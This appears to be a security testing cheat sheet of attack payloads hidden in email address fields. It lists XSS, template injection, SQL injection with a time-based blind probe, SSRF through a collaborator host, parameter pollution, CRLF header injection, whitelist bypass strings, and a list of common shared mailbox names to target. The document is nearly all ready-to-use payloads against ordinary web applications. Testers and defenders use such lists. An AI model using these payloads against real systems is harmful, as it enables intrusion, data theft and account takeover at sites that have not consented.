# Email attacks

| Attack                   | Payload                                                                                                                                         |
| ------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------- |
| XSS                      | <p>test+(alert(0))@example.com</p><p>test\@example(alert(0)).com</p><p>"alert(0)"@example.com</p><p>\<script src=//xsshere?”@email.com</p>      |
| Template injection       | <p>"<%= 7 \* 7 %>"@example.com</p><p> test+(${{7\*7}})@example.com</p>                                                                          |
| SQLi                     | <p>"' OR 1=1 -- '"@example.com </p><p>"mail'); SELECT version();--"@example.com</p><p>a'-IF(LENGTH(database())=9,SLEEP(7),0)or'1'='1"@a.com</p> |
| SSRF                     | <p><john.doe@abc123.burpcollaborator.net></p><p>john.doe@\[127.0.0.1]</p>                                                                       |
| Parameter Pollution      | victim\&email=<attacker@example.com>                                                                                                            |
| (Email) Header Injection | <p>"%0d%0aContent-Length:%200%0d%0a%0d%0a"@example.com</p><p>"<recipient@test.com>>\r\nRCPT TO:\<victim+"@test.com</p>                          |
| Wildcard abuse           | %@example.com                                                                                                                                   |

```
# Bypass whitelist
inti(;inti@inti.io;)@whitelisted.com
inti@inti.io(@whitelisted.com)
inti+(@whitelisted.com;)@inti.io

#HTML Injection in Gmail
inti.de.ceukelaire+(<b>bold<u>underline<s>strike<br/>newline<strong>strong<sup>sup<sub>sub)@gmail.com

# Bypass strict validators
# Login with SSO & integrations
GitHub & Salesforce allow xss in email, create account and abuse with login integration

# Common email accounts
support@
jira@
print@
feedback@
asana@
slack@
hello@
bug(s)@
upload@
service@
it@
test@
help@
tickets@
tweet@
```


---

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